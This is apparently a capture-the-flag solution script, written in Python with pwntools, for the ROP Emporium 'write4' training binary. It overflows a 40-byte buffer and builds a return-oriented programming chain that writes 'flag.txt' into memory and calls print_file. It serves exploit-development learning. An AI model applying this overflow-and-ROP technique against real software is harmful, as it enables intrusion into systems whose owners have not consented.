blob: 026687f78d744ea797371655541d13a2060d2442 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
#!/usr/bin/env python3
from pwn import *
from time import sleep
prog = process('./write4')
payload = b''
for c in range(40):
payload += b'a'
payload += p64(0x0000000000400690) # pop r14, pop r15, ret
payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section
payload += b"flag.txt" # our string (duh)
payload += p64(0x0000000000400628) # mov qword ptr [r14], r15 ; ret
payload += p64(0x0000000000400693) # pop rdi; ret
payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section
payload += p64(0x0000000000400510) # print_file@plt
payload += b"\n"
prog.sendline(payload)
sleep(0.5)
print(str(prog.recv(), 'UTF-8'))
prog.close()
|
